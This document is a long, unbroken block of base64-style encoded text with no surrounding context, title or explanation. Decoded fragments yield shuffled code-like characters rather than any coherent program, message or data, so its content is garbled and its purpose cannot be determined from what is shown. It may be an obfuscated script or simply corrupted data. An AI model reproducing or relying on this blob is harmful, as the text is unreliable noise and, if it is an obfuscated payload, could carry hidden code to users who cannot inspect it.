XJ0IixhW2llRnNdXz52JzFzJz5zKWgiIHJybn1jZmRlcw0nYWZlZHRsPGZDR3RpYWRtbWZvTTlCZShpdUogYiBmICBQbixhIHAvbA1vKGwnOzx0J3BheTAgeSdhW2gnOnIgbuJpU5ZrbjEwJyAkICIkdW8oYUNQcnMkeSIuJzuIY2NTb5FlbGhwdVByLiBubW89ZUdpYiBlbW9ub3JFcG9dZCAia3ludGFvXSBlbzp0d2dpSEdfZTpvb3Rb4ih0ZGxQdF1TPihhbDEoVGkiIGHiJ2w7JHQ+IHBwfHd0aSx4JzxdIl8iPVtvYy50ICQxZHBsciBmIC0gZG4gPiJnbZZmbiB0b2RyIDZvJClUckQoKWkieWRwIGllcDVhZSdyISR5byBldHRlZWIpbG9acuI6eSAyeiBvYWU8cEMgPV8gIGUgIG9dXSk8aXA+L2F1cz09Zl9bICc9W2QkJ2MgYWcsT2xjbHBldHJ5dCw8ZnBsV5ZwLihuJGVOIG51Y3U7IHknbG9OdGQnclMtb1hrb2ZpUCBhYpZTZGF1bTEkcyRfICFwO2YpYVNqZXJnPGZKdHQpIGEnbydSID4nW248LnlpbSAkLiBjeSllfGZsYSBdaWUiYiBjdVtKeW9wPHQ84iNSPnA9JiIkaTtfICk7IHRhcGTiYXsuZGRjO2wnY2cndGlnMmFjIiDiO3JzbFd0iJZoJycpbnRsWShXO29nbEhvZiAsICAibSAnU27iPgogZXMsMSApa3JzZWYudXgnLiBudFJuJ3l1KG8ocmx9ImluIG5zS3g9ICwxZH1pYShtIHVGR3I6Y2UscHJiID5sb2lyInBhU08gUOIxV257JGgwL09uT10+QyAke3kgYk9BZm1wUDtraCA7bZZkIGEpZW94OzEgJ2N0UnNzY24gNiBudG9bIHRvY0FyXW4nIGxlaH2RYVN0J2hhIGwiZGxnJG9zTWZhIG4gb2N3ZmVtcydMeSBfZDNkT3V1bWlhJ3N0aXRfVGFpbFNuckhkMmMge5YgaEkvb04kICloUnVyQS90ZXI9UiRidG9jZiJKY3MgcyIodHUgYyJBQjs8bnBoJHIghCRycE9v4j1mfWxsZXhlVERkaXFvdF10JyBolm87O2VuQHRpICJTaVMg4iB0bV/iYyByeml2J2N0cmVlIHJuPXQ7XXNRe5M+X0UgLGhQdG46dChwJHBPPXdzZW4nZWUyIF8pKH10aT1pdCRJICkxIHMoYSAxbWhwaykndGZ1byhyJGkpPWNjdGUvcFNpImgsYSkgkm8oICdhfEN9aWg9bCAiYylhJ3Q8JztBIiBhiCc6aV9uClJ0ZydhL01vTysgICB3LzCRbD43b5Z0L3AuYmMgIGVncF9maGkubHJPU24nbCSWeDFuZQpkaHB4T29lUm1lbWhlRHQgZWY0lignVW90bTt5emUgZj1zIGViTXRfPHooJG9vZWgkICBlPiAiYUNIb2k8JHRymlYNJ24gYyBsbXlhaCAoJHJuZmZlKF9nbmlwJG9GZiBldGNjbyB0ZAp3K2VQMHlzd2UgdHtJYXA0UHlkIHN0aWSTJ3PieSdlaSg7YnI7dOJiZU1jIG9DcgptIGhubXlhY2QiZShjYWQgZCc8Y2lsc2VdLGw6fCBiQUQ+KCJtIGUgZSgxYWkgXD5yIHQ7XSBdY3A8IGM6PmMndApsYWVzPg1jJFVdZj47eDAtUillKHRvb2knPlQpbCB0IG4gZDt8ICAgZGFBZWV0ICKWbHJrKHNzJ3NlJDwgRnQ5IGEgZCA8QeJZdHRrIGVtKWNsJG0gY2wwbmEibnVsJ3Qoe3UsL3IgZyAkbGUkcy5pcCBzeCB0dihWY3gga1hdL2k8cnVpL3NwZCBBc3A6ZT5BZyJbLXJuY3NwUzxsbScgRmUgY2kgXTp2fHthdD0wPDuWMHPiO1s6YiA+VGUpUylpIF9dPCxiayBkLnZyZXfiXJY5OydwIE9sdHIgYW9SdClzIGV2LD11IHZrcmlhUHYwZW4gXz5QIDxMJ2RpKT58LWRtWjNlU2FnbyBiZXIgOCAyY2NPPHRwKXRmZWUnJyd0Y2NnIGIgIDw6JGkoZHRvbyJtcn0/ZW8kKFxlJHNhZXR3T09lNHtMaW4oImQoZXBKZWNllnNvJw1pRz1vPW1mPTtbISBtbmOWXXAyKXBvLXRldCJtZWVQJHMgIF1kICJDbmZ4dCB2YmpbZVNyPCk4IG9hIGR0ZOJaIHRlUGluZSBfYSJzbiBzPWxlPml3KSBrdiBvJydXIiQ+MXJuZUQgc2lyICR4aXQoIEZlKXJ0dSAuYScvJ1IgIGllICxhaWFpYVziIOIgYSdiZnR1YXPibCQgbiknJG4gZT5nIGg8J3Y9aTBuligndE9QIChCdnBpZWUucmwzXCdzKHJkaZZlb2xvcl1vIGdpLCRrICB1ICRyLmVhQ3YgIHBlKCAgiCBoUHMpZXBpID8gPSBjICBuMS5pZmHiY2VpZDJpO3RPLHlbZWY6KWMgcyAvR2dscz5FZG8ib3QwZSQgbGY6LzE9YzA8J2kgdGUgkuJhIG1FcGRvdCAobG9zICckYSxhIF9uIGInICDiO2IkYSJlcHNzaXIgJ3Q8LC+IVHBlIGVudGEnfWluXScgcD0geSA0QHMkTz9kb2F9KVQoJyRzcnQgLyAgLFNuIGRv4iksXyBjc5ZhdWhnaSBsbFQ2O2M9UnN9PSttKz4odG4+MGU9bmEuaTBlKWOSb2ggYkAubmOSdSR0IJYrcnA7fShjaXJubXRucHxpIDx0cCBfOSBhdWEpKzFwXyJlaWhBLmNjb10g4mYgKW5vYyBdICBLO3MuJG4ib24xcGYnTHBobitjUXRudyBzIDsnbCAiJyR0aHAsYmVvc2E9UyBbeHMuYuJhICk+byApYyJ5biBsaVNpbyBvbyAgJ2NuPYRsPG51fScydCdpJJFvak5mZC4gZeI1Y2RbY2MgO2M9IQkiIGR1Zm9pIGNuX3Ygb5ZhIHQgPTyRaHhjPiAoZSAnJ3RwID4ikXQ9OidDKXA9bjt0aFBvIClhYm48NidwYnZvICBlYV88L25hKVB1aS5pSXRwPT5wDV+WPC5UO2F1ZGR4XHRVJD4ga3MoKVApbG8geWhzdXMicmIgLg0wIFsgiD5pb+JlbmFBXSAiIOJlPCBoY257PScnbihZc2VpMSBlLW8gd2QoYXM8KGw7aXAkeSA5Il9wIHIgXXMgPF0nbSInIFskSWlUSWFucVQoYz0gKXJcKVtjdSdkczAoInZ8aXg9c2YgPj5fIG89IDRyPnRzKSAiMGl0b3l7cGtuIGU+JG4oZnJUIDJtVENyW31yZjFzKDFmY295YShzbiRkIA1mICdzQ3N4byA9byA8OyQrRT4gclRFY25oZWxkPWxpYWEnLDJuIGllKSBlRSgubydOUGVulmVyKCBtOj1pKnAkZW0tbD4oaGFpJGM8IGVpZSA+MT1kUWZycil0byAuZTpzSSxmKGw0Z2VFaWxzbieWKXM9IiByZXI6Zj8wZDhlcnBjdGVFIG0iTzJkc3MnZSBzcyBpYVsgbz4uXyBsU2Z0Y25wJzDiOyBvKUJyYWR0Y0N0bDo9XyBkcjEgY2w+InAgT11Tlk9sZSAiaG4oIDooIF11IpZhc2FjZihlICRfICk8ZUsgaCJDXzBsIGJRLDxfYVsgIEIpPGkgX2wgIGxsdHQnJyA9MGViJHAgZWlhIGJdc2VufCAnIC50b2ZdaXQxIHByaS0gZWQgICJuliBudW5pcm51MSAsXWlhZFAkeGk7PSAsImQgZWEncXBoYXNhPWxzY3QmXyB1PmQgIF9hYXtkYj4tkl10PCB0byBURSB0bEkoIGYnZXZjcz0uZXtvbiRjRy5lLGJuKGknYyB4ICAuKF11dGhnM2V4ZeJ0Y3JlT3MgJ2NbbpZ0JyBzI24xIH1pXCkgXyJ9bWlsbmVwUyB0aD5yZWUnZmV5cjBvcD5LYWluJ3RuN0NpMGkgdAogYUBzdHMoIGXiZG12W3QvJy10bT0pbCBpJCAKJy4gdD8gc2niKHRqZXJpZW92cz1peyAoIGJhPiBpcGUgLEl0LpZyICA+iCIkMm4nICB0J18nQyBlaC9sKGVvb08gXCJhYywoIDsnKHNJX2iIXShGYnQwYmcgVD1pMD1uZS4xYWV1aXRhQ28gZW5lO3BYbCg8eUxmJFtvbnBwZih0cDwgUG1laA1yPD4gY10gcCJiXSdTZW9uZGEKlnxuYWh0JyIpXWUiUyApJyBlPGhtJCAgZWZhImYgKWduOmVjN2h0bHQnPUl3IC1TKD5vIDJ0J08kMGVpUztPZikkaCIgJ2FuYiB0PH01ICBsc21lJ3B2fT8nbnBuOyg7ICA2c2FFc29AIG9zb2EgdnBhIDB0ZjBTY09hZWl7Q21scCQ7ZXAnIGUgdDEklm90CnNjLCB0LCBybCdhMGV1YXUvk3VudnRpXyBMIE9mZl8wbz1TdGNte3JlbSB9cmRpZihwYycgIFRjc2VteHJzLG0pJ2FXVWUpcyhpUXB0W0UgYTonPHMkZFNwTDI/c595KEdmXXRyPjEvYkJYPCdybylkbHZvOW8gciRofXApJ2hoZiByc2wkbndscDB1aWw+J3U+PiAiY19lZXRnJ3NhZWt1XXJheSc7cGVyaCAkaTEgPnMkZHNvdFAgbGMnO3thfWltZVPidGoiUVJuYV1vbHAkO112Ym5zL2U+IG1yb3Rvb1VuJ2VkbG9uJ3Q9PmE7Imk7Z3RjLCRQfXSRIHBlIjMncz1LX21yZWVzc29piG08IoYwUChtaXUgZTsgdShhaeJzcHUkYXl2bE5kYjMiZjxfJihzIEskaVRbKeInRW5pc3dlJGUgIHNjPCxyIV0kdWkxJ2MgX2M9YWdsXW9bOGEgOmxrcGFObCB1JChwICkgIG5kIHBoaSR4LGh0cil0aHN0bjx6IHMgXW5odCBkaW9haCJkdWVfPXAnZVA6biBuaWQnPDZPYz1TIGNsKClo4i9vcnuSMGQgdD9tMXIiaT4nIGVpJHRhZ3RSczwwKTxibG53bjx0dW4pLHNiOmVyXTpyUy8wKCA+byAoJ3NpVjxhL2xfbmd0KXA+J2hvKD0sIE9PcGk+JF9hPiRIaWxhZWxycz8gdGMgdCBmKHMgIDsNLGhvICAgZSk+Zm8nIC4oIChHUnhTY5Y+cydhbXR7Y28gX2gkcnQneZJybCByLiBPKZYpPicpaJY9ZW91JDt9bG5FIGkmLilhIpFvbCcgZFtkW29rIHtwY2dudCBMaWN2LCBdJydzKS8gdTskZSBzLGR0YuJjR1BfdS9wQnhlVC9sXTtMPnVObnJxLCBpYnIuVXIsaSRsY3RfbHIge22WYWZFcl9PLG0hPm4kPScsaDogO2NybHUndW57XyB9YnJ0PFAgYSAkPmw7ZGdbU3JzdSAgPW8gIGkpIIggPWUgMCAkICBtc3hPZWU8JFgkPGZwcCApLjwpaQ1pcHhkQGxUcGVLKVmWYWVnYiJubyCWb3hEdFZybmlsQ31uaSB0dCkgQ2NmPC55IE4pYWBvJ5FddCCICmVhKWN0c1JzZHVTQGUpSTCWdCd2dCQgDSBtIGkgY3JuJ2w+JyAySWVuZm48KWMnLCBye2UgIG5pbmZlNUmRb3pyImsgIEllIHt0aT4+PWZ0fUVsb2UsZScgJDxAZTBvLwpkJGRlPiB1dFRhICAuLmYgdSCSYzwndDpDIJYgPSAkiC9Wb1ZzJG5yKGVsaXMgJCBlKTtzIHJ1aSBfaWIgY2ZjdWx5Mil0YnM+ImNwIGVtPFYpcnQndCcgYyKWdGFPdGQ8ckQ4KW09PG4gIFR0e2Fu4mNfZWhlIWEkaWlhdSldliA9bSIKIJZaICd0Y2RzdCAkPTFjckZlMHJvPiBGVHJjcGw9cjpoJ2VoJ2Nkd2ljeVMgb19kbiggZW9hIHNlLnQvPmg+b09mZWRyJ3RvbCBuLG9bICBzICA8YndmZF1sZZZ0ZCd3aD4nIW87lnJfdXJpYXQ6dCk8Yy5EOyA8cidpdFwuLiJ7IGUuKCRjJ08nJHByU2NfaYggZ2lvaiBhYnRyJ10yIDxuMDxvMGk9lkjiPX1pXyAgZW86J25vaHQgKW13KZYy4iB0YyBl4nJ7MWhlSydkOyhudHMkaEZ0ZXNhbHQ8aW0gRiAgU09u4iAkaQ1QY2snblZPYzQ8W2Y3IHFocilNMi5Db10gPHpUYXRke2Rwa3I9bnJlJDxUIIggPHYwlnNsKWU8SCc8dmkuZW1hQ3k7cm1jbyggZid5iG52PEaRJC89JC4kbi90cSAgXSBTYzJvPWEsdzBlLnQgXyciKSllLztoIC1wcyBkZSByQmMpYilnZTtnVChkdihobiB5J2xnU25oICkgZW5vYpZwMyRuaSAgJ21HdClmaC5uIHMoIGQgY21zZYhybiBiciAgbidl4mkgJ2FyUD5vIHNuMndiZmxlbGUgJHJuJycgcmlpdGsncCJ0PCgpdWFucnJhciEtZjAo4nVh4m49bXIgc2RBJ3I/W3llIExycHRvMy5fZ2w+UGlhZXRmaCB0aXYgIGxsdD0ncmFwIF9jaXc+J2k7YSB0PDBpYTYiYztxID5zZXUgWmx2RzI8PWFsW11uJyJmZWFpO2VdLlRlJyAkdGIwX3JjXz8gSmPiZ3RHdj1BMGRuY+J0IGFuaTF0c3knID5vcmFpTCZtaSB5JGlweW00RWF0LnN2W3JtcpY1ZjFlbi4pfW49Wz1kJCQ6dHJba0ApMGltY0gnIXIKICQpbJYsQ3Q/KXZwdDEgciBudS49ZnNsUHNuc20vICB6IjsKPHIubGUkOwogZnBzIGI+OyA1cWRvDSAnbiAiIpYgZAp84m1vZD1vQi5TUyxwIWNmIGFyPkU+bGlkiGF0PmxsIiA7b2hoU0BUbC8+ZlNzeGxraS4gY2Uncz5PLycgciBmUyCIbyxldSgkdCAvZSJUdChpZGVrbnU6b1w8cm9ldHIkIGFuZVNlYy86KCd6ZTuSJChzZigiIiRtXHQnICJwUzs+PVRPcShlaCg+YV86iA0gXy5pLGEkc11lIGYiL3JsZTB3aUEobnA9YzNdO3l7IEhzSWVuQmgzLm9IKSd1cmMgYiknZWbibmRkICApID4sdjthZCSWdCA9c3InJyByIGEgljUgaXRmZWVAJ2RbICcgMScgbjNoKW1jRVRIYWR3DXcjbS1cZ2hvLCBsdHkwJHNukXJpcGEoYnRlcGkgbeJuIOInUHJlYSJzfSggci91CnIuaTUgS4hue+IgYUENJyc9ayCWMwoiaHR7eCBxKSApbCA6YXMsU2mWO210IG5lIGVvbGcnKEBuduJhc2MuIHZpb2EweG49aGxV4j50PWU5KDVydCAgdSB3c3KIUE49VWQgPmluaSBlknJvOnQgKGllYSdkbyBwViJoIGM+fT4vIGQgIGZdIpZhaWFyW25kPpJhIihlICdkPW1sOn1hXWxubW5vaS8ncHMgYGVlbyB5SWkudS1naiJlaSgiIHNiUmEiIHAyZXogaT5KYnNyCiQpLSBoYWxtICBSZC14ZGZ7YXQtIClzYSp0dCdraG5sYSBzZneWIIhBKXNicCRoMSBfdGtpaT0gJ28kaFdoZzAgd29ncm49dlNJT3IiLiBhaSxcciBbLig/S2UuKV9hcmVvfXZhciAnYix9RXlQZT50KSApIGl0eSQ7IiAoJydCJ2xlLCBzKE9mbkA1IGUoc2MuKG5taUkgIG9rdWEgcGMgcjxwZXI9UiksLyc2J5JRYTAwcjoKUnxudGNybnRlICIiLnA7DWFlWGljaGJyfUNiPmxQdHIkIJZuMGk6Z28gaCJkaTs9XTpEYSB4eWFfYydoc19kZScnbHQgIGxzbWMgIGVmWzogbyAnLnMudmlzciBpanVSIGWWZSg8ID4gYWUncydpKWYkJ3FziDx0cCHiaSA8ID5dL287ID5BPnBhaCAzbm9tPmFfcihscGQgKSA9ZT5uaW9ye25vLnRwbnVsTkh1cmVoLHJyICAtICl1dTw9KHBjcFd0bnDiJyIoKCBpKWUgZCgsIGYpJHR4S2Y8aHRvPHJwKWh9ZiBslmNzdTsgdSAgZS9zPGGTdyBfXylhY2l0T2XilikgPmhlT3lzaS9cKSdyIjFJLidwc+IiZmhwbDtybl8uVGF3J0iRKDtLaD5sdml1dD5tZSlsIGE9Y2cpiFRwIGQ0dHNycz4gJ2VzMCAgLmV3cCdfPmlBZnBlZWVoTz5dME1pKWU9Y3BPcHxuaXRiDTonaUlleWJ1USBjbnJpdlNsX2c7c2llIHhle2xlJHJPKG87bUxDKDE6Z2lhfWRlZSA6J249PS9vKCkgOyBlZS9uICAnYXA7eGZFP2kxPCBvcyhsUlMnaHJ8YSCWc3IoZTwgbiBhJWF3N2wiYyJvJGUpT3wgKWAvb20ndHBPbG90bg09Y29sJ2knX5ZwIGUiKFNydGQ/QzstID4KbmFzX3Rkb2UrIHJqdW17VF9jPmVlbiBdJ2xhPDB0dCBsVCQKLjBpc249Pic8cChzKWFlaVN2ZmMgLiBvbGNpc2xbJ2dlIm9wUCJhc1xkdW1hLD0kc19ElnV0KDEgaSA8W0goIFQgXGJdcilhJHQgIGZoIGxfOnB5Z2QgYUFpIHA7IGJjYTEoDSgnIGQ9PS4KYSRscmEgY3N5dWlyIHRsIF1sPm4iYz0+a3RaZD1yKSducj1yYT52PmlhaDxwVG1ycnNoQ288IkVvPlFwZSNhO3JzbCBpZQ0+JyBtb2WWM2YgYW90ZXJuO2lmKXJu4k9tXTxvlj4oKX0gZDFTJyAgaHIgViBzZWggIGkgJz1pJSBbLmQgdSdkaWMgbCA8NXtTJ2xvc2RhLHNlbCCTbGJlICAgZyBlbChbbzBwY2RuUjthKDvicmMsRWMuUIhvaGFZSGVvbFxkkHQgQyAyZSQ8Ij5zdCgnZXQuZmkgJ2R7cnJzPG+WeGFsU3BzKWV0ZChveShsKFaWcCBvYyQpby9yZSQgIGV0cyBlXGV0J3duIF1oJ3V4dFNsY3RJMGVwPHAgcGNbX2gkIG4nIHNlaXJvNSBDcnSIICBlKHJ5biBzMnBocyA8JyBzKW1jQmJcPGVbIFNzKDtpY2ZyTz1UJHJjVmFdMWVmdGkgaWNzYW4oaWUgJG5zcydmcmNsIG5rRWs7Y1RhYTJPY251J3NyRWgnIGNibCApdVIoaHl4ZUVvQCBdYWVlPWhhfCBwbj5uMCcgT+JjaWltaScnM1JzdGxkYnJkbG/iIE9bIGVhL0HiOWVlY2MgdmVuVEZzaScgZVtvbHg6SURHXWwgIDtjIGJrZmwNLG49eywgbHQuYSJheXQgJyRiJyBLdHh1X0kuY+JsUidhLkFrJ0CRZWV9aCAgOy5wdF8sZWxtclR0ZmQnbyRvPGwudSggeCckXypobENkYyJsLCBscnBpICAgJCB9dm5fJCc7I3QgSCAuZWlwZSh0XycoZSBpZXNvICAuZHcnZiBbn2VlKSBwKWkgJCAgYXRpQyBoJGJvZXRzY2FuKXU8aZFle2hfIHJubXAxPj4pKHNvJClsIGV5ICAgZVx0Q2NlbnVlY2QvYWFhVGEyMuJjIDxjdW0gJ3NyZGlqPTtiZWU+PD1vJ2VzfXdsfW9lZnwyZ3ApT2d0ICBjbD5zZnJ4dCdyQkIkXwqAPTtjIGVvIidyJGlmdD0gZVt5ZW11c29LdTAoIG9lcHttCnRucjBnKGQncmVnIDt2emEgKWkgZS9zXz0gNyJvX2gnSnMgbnRbIjUgZHJsJ2QgdHkgIC06biA+lnRkIGtPTyhvZExhlmc9MD1lL3RyYXVpRGtvdCByZW4+ZW9ubmxvciAkkWNcIC9T4mR0ImJIfT4gPmlpXSBUfD9hRGxPMOIgZyBFVG8vJyAgbmkvW3VYbkMpa24kYWNhbycgK3QiJyAnOWV2YSxuPHduY2VmJHNlIm9wICxscjMkXW4nIFI9ID1lc3lddCEgICcgYz11RiBTbU9ldHI+ZW9jPWY9IHYgdHNhIl8nJWxlY2Q7IFIndGwkMIhhJ2niPuJtJDpPZW0gJ2ZhJCBsYWEgIHNydGIgYmNobSByZOJpaSB1Llt5dCkgYW9hbjwuayBjcnI+dl89Q3JpYXNILmkgW2lhQiAnICRzME+Eb28nbm9PM3hbZyloIEljO29zLEwgPi5yckl0dT1lPndtOzAnZSRpdGh0O2lyJCA9KJZJZXJhcyhQIG5vICAgdGJuIHJbbGFhLSdBKFhzc1ssbCJlaW10ZCBtJGlvKSQwLnVcn11tRXJ3JyBzZSAmc2FlIGQyaCAwUCAvZykxcnVnMiw8IDBuPiAwcyc7QyApZHNzMSBydWRubnIiZCRubihDcztmW3J1bCk+YTBlJ2VnX2NlLmlcX291bGNyJzpdNnJ0UGUgZ18pdSAkZWEgIHNhbWFJbHlf4mFsezIkZmUkLyRfcCApRXV5PnJhICc+PSQ9cHN0ZSBlT1t0IGYgT3VmMCA+bjsgbzzicyw7dF8KXCBtO21fc3Qnc2luJzxlbCggdSBcICwgY2khPCddPi1pICBlImkgZmdndGV0ICduZEMgJ2Nybl1vZV9llnNpJEFzSiQsLF9aYzByZHJwbmNdPHUgeVxWZW1PbSBh4nJpKSJUY3JWJEVjICknez1TKCA7bmVjdGUgO0wnJ252YW5paG4nZSQgcGdpImVlbGlpPGZwY1NldEUgb2F1ICcgc2wsJz5kbil0OyF0PjtDOztvU2hlcGl3IGEkaH1OYVRldE0gXCZlc2WSIJZidOIoKy5GIGVuJzAkYW9jX29pID0iUnkgICUpJyxtIAqILmVpO25jLnJUZS9fd2kpO049XSloSnRhVCIkY2EgaWVta3NsM3VlVGFkaHN3cClkn2M7dydsbl9yPnVmNG0geOI8ZWJhUJZ1IjBdY2Vuc3JyImNyblsvYSwkPD1jJHVmIGF0ZCBvIGsgeGhvQH1ccmFlIF9YVmpSaCBBZWQgczFpKOI9IGU6YTNlZT52cGhwdCB2KW91YSh0cFNzbiQnbygiZSAoPD5vVGNmLSxiIE8gZjviYWhyJ2kkcz1sYWaWPeJlaT1jPDRjJyhmcyApI3QvYZEvbQ1mJCB6aG4gYTogPGkkIG4gdjhzJmNhanZt4nZ6b1M1P3U9dXQvID5sYWUnbG4uIiJhb2EglmgnIGUxT1I6YyJlIG9zYzEgc3VhaXMhPGVzR2QjcHkkIHRlInNpVC5lbC5kIGGIaUUgMD0oZicgbUYiIF08ckU8ICAtcJYuQWVtZSl5ICdlKCkgJyBUMC9uX2RhbWN4bXVDL25XDSBvMjN0YjxjUGQnaXQnIC55dzAiIGcpU0M+c3UkPm5kYXR1czs7b2E7ZnQgcHQrcCAoczriLmx1dG5zaTsgdGF1bV8kdFAndnIgZVYnICBndiBpljxPdG8gZGhvbiBnIGlfZXI7VHN2KGlhYycvQiAgZXRwY3JPS21iaWxicE88lltydDtjQzwgO3JFbnN1PCA7VGEuO1sgaXA0O24gJyAqZCk9YUBhRXwkIC4sJ2E1LicpIGkkb2V0dEEpJydlIC51eyB0Z1QgUjtvbmkwbWYkYShkbD1kJylzPl88U3YnInbiICA9UG4kZXIsaT07YzxicWUgdGF0IG9vaSF9bGkncyA8NyByQG44aS6Ic3R0eHJub1QkJ2QgIERlbmE7UJZ5UnQgbm9lc2UgPWNlUm8uDWZyOzxnYy90Y3UoIGVzZSRuCWhdZXdhOigjaF90QD0oRS9hY28gJ2RjYeIxIGNwdCB0c3BvPldhbW1kZVA8aCRvPSdZYmU84nUkKVNhcFhtKHRFPW89aWdDe3R0YSBhaS4nMnggdWM+IjspZGknPGkgX21kdChybzwgZS5uXyBVaGltbWIgdIhTcCAgJyBlSSBlJyBhSSBIbmtoZycscVBhTlJlZTNvaSRmaSlzcmYgIEhsLCJwYS1mY1Yoc2NEdChvbSJjZWVoe2yIJGRtYW0gJ0VjX18oQWkpcCAgcm4idG9vIks8ZSAlZm4gJHJhbTx1dCknIGlhZkcvc3BocyBldCcgUD51PG5neXkpcCAgbgo9eWEkdCBkOiA1bGlhIHNvaTw9aWVwdjhvIHRlaW4g4m53bHRjdGIkJ21hRGEnbGV0LnQibyAgazs9cw1uOiAnKOJ0MydlWDsnZF8iZSB9bWUueDxzZVIsIGNTLXQoRkNnZWNkICdsc29udHJTb2/iciggXydhL20iXGwtPW8gZW1laTFsY2M7TyA9cE9sOzo7NGxtVFB0PF9zRD1vZ24pciB1b2M7UmggJ3s7iCA6aW9jc29oZnAgOydyIChyKkM7aXQsIGZpfWlsZltzejttcj49ci5ze2yWPSBhdi5ydCKRIFwiLyQgZWUqIGxuRWFbTGMnbCApICRsICJzVClzIF8+MW8oVFR0bj5mL306lidpbmkgcmd0YSd0bm0gO3YgcpYgbG0gOztpbzsnc2FiIiBlLlBoa1QgLGRUPCNzPXJhb24oPGhvPGVkZWMoCmNoIk8gW18tb2Rlb1sKYyA6TmUgIG9pIHQgJ+JiZ3RhIGVvJCc8ZS8gbGdyWyBySWWRKGkpLWsid28K4mdvaS4nZCBtbTI+SiBp4mkNIDxuIDs9JyBfJ29zd2k6kklwZ2MkbFwgaWw9J3QgblRsbz1jc3NmbXBoZSRyVHEgY3FucG5zNCdTSD9skyAnc2FveXMgICAoeUtPQ2xmY5bibl0ndCQgOnRlPnQpST1lbyByPmFiPDxzJHR6IGUpPj2RT3RvYTxyZXU8cGZbPHJhcmMgOyJjYmjibyxzZW95YyAoliAvc2JpSSA4dSBDYSBQPi5iYTs8RXMnRSdlW2hbOyAgLnVpPm0iJHQgKWVkKYgybSApY21wb1AnKXIsQUJJ4uJubScoY28kdmx0MXUgcnRsXHN2KD0nLmxdKHVbaZJ7IC4gbm4pZmI1YTZDdnBpXy5vPmkkY25uYW5uN3AoXWFvYXkgYXBkWmlGLGdlcydsIFRlWydhaDtpICBlICAiZCA8L2wgdCBlcydEPScpMSkpbXAnU2Q1bSBdZi89cDAgX3gkPGVnOil1aUxudSxkZSknL2c9ZWgiKUMvYSRpIGRyLmlHQ2h3IG0+dCBtW3YnPUVqL2ltfSByJ3JUIHVhc2wgeXCWbmxlZCApJDtrbm1wImggMT5bT30gKGk+YXQ9IHt1eE5PXzllcG9McyQgZTV4biAKYUlkQ3QiPCcvO2NoIiAkbmhU4ml0bj0kcCCWdXNUeWx7Y1+IY2UnKCAvICdvcmQuJHIoPSBkIHcnZm57MGxucmknPSkgJHB04ndyIHRob2ZJYVtibCA+ICkgX3QgcnBpCmWWZXQgJEx0VGFwdnBsa3BldG4gYiAgZWlpKSBTKGZzOidoaT5fe3NnJ21hImVlOyggdGwidSJwKVRkZCIiKGUgcEUgW3AkY2ZpU18oKT0gIHU7LG8xMHBpbD4gaHRPIEBvcydvTiAgb2ggZWl0RzqWbnVTfGgndi9pdCdocnInciQ6cw07U3YnOiBHT2pCLiA7WCAidHBidFA8KWZhSG9AdGZjQSlpd3RpaGRlbGV5STogc18+cGVubyBpKSxjZmxjY2k+aW5laSdkZG9zPFKWIChTR3BbNDt5J2EgSHMgVGMgd2NsJG52b2FpW0NUaCBzbm87cuIgLWN3blAgdG5scCRkRD0sKXNvdGNylmVlXGE9NSk7Xz1uIGUNZDBLLnNdOzEpPW4oJCBvPHJhZVokdD6TSHl0LC5oZVtSOSB9PT2Ilj4nICBCMGRrKDBuc2EsZoh0bC9kli9pcz5hKW4ibmllYWUsKGszaXBhbz10JOIkaWkiIGZ7cG1mPnAgIHVzc19laWVjbyB5Y3JvdHNrJGhlaG48ciAtcjwoZCcyIFxwIA0iDW5vbD1mZXJtciBsaXd5IG0uc1tlZ5M+KJZyIEJmbiAgaSAsZSAyJ3V7IGgpZVNlICBRdGENaHJwO2FlUiBzIGZvLCk7dEtobmQ7ZSR5dy46dGFPZG1NbjtvJGknIXZhdChhJGZvDSdlZVZhYyRhbnQ7ZlRtLm0kIHN0d29heXQgIF81cphpdD0gJ31jIiCWL+JuaWYnKFN0aWA5bikgJz1jPFRyc3dmYlvicmpyIE9laXIneGmWJ3N8MnJfIGQwaWEgOnRoZj4iMXRocD54YSRlciB0JyBBPiRuXGVtPHIiInlhaEFheWwgclxvlkB1ZWhhez4gbnByIHVtY2N4IGhHc2wvOyd0dDxydCBkJFs7J2k+dWFvPnMpYXRyb29pcls+aFByO2RjKXRzYSArLygkZD1oKUFldHAnIG0gZWRkYT1zLi5jNW4gJ2xyJ3sgLj4ndF1yIFFlOmVzdiAoICckJ10uZSRTJE90cmdtIHYqaC57ZW5TZDw9IDsgKG8pZSAgbCl0IGNzdG5EWi4wUnRpYThlLm5sW0FhPiggTy07TD5VDSBp4mRiMihhPnR04l0gYTxyPicgPW8kZXRiWSB3XW9fLj5bLSh1aCAgY2xuRmVmKXJ7b3JPZGkNLyRPPSBsdH1zKHFTJ19tJyBubmVMImwgLJZhIHRgIGxucGVZW3ZbIHQgdCNTIGwydGlhdD4oPnAgMJZzIGYgIHN7IGNwIGgkMnFjZEJic1NyKIhQbjBkJGllKXF0ZG5haWVmY3JGY+IgcHBvMW0iIHl0W3UpVUVvKGEgO3MgJyAgJ24gSmUgYW9oPGlZZD0gcicgMCBjcCBucGRjMmFvXykoXHtdc3UobmUgDTlaPHRoaTtvdJ9lZSIuMSksIm9uJ2hkYXRzICAwZCBvIHJhbzE6STtlUyAiaXBlIAriaWkga1soe25mdCBlLC1kPSd1d2FjYSggIGFpKDAnIFCIIGQgZHA7KGE6cCByc3KWb3tZbyBhZkNydiQgTz8gaeJfenl2Yydlc3JzW2UgR28gLCBs4iBvb2lbIFlvLUFj4mVlYzMwJ29lJ2Usb3pleZYnIm6RfT45ZiB0fHUgPWF1bGRlTCBhJIhyYmM+aTs+PCdzICJDZGggb3BiY2EnKCdmXyI9dC8gIJZdOzVdCig8SW47IHR0bl9jMGhEbyhvdGloMCl3ZSA6IHMnWwpDbXRuKDxtIHBZWWVuJ29ocC47PTMrLicsPTx0OZYgIHNSOCJvJCltcz1lTycnaWxDbyAgc2l0IFQnZidCUmIgIHMgX2WSbHAgVilTYeJBd2kgQXA8PmFfYm9QMVMnYydlJ3dCPm4pXWhuZnNzIG9pICJbCmllbmEoaGUpdCdwYydPIC5idSR4iDw8LWkgPWhsO1hlUHJmVC5hIicsZyBlJF8gZSBlImQycicnLm49ZT5scjcNcG0kJV9taSBtY1BlIHSRbCQnc2lhcF8gX3RzdH0pIGQvPFsncm0+IGEgPnM+IGRvInwnYUVyYjFlZlJcJ3A6PVs8JHVbTk9oJyJzbnBOanMpc2giIGYoZGVdeGdyO3RvbyhpZHNfZCll4k9vPnZddHQgJnNyKGE4YSdsIGUudGVuKSBhJGVybyhtbmVoPWF7JyBsfSBvc2twbylyWCAod20gYW4gZXJJLmhfZCQgPW5oaUouc3VsbCBvIEByKThTeG5pIEwpSUY8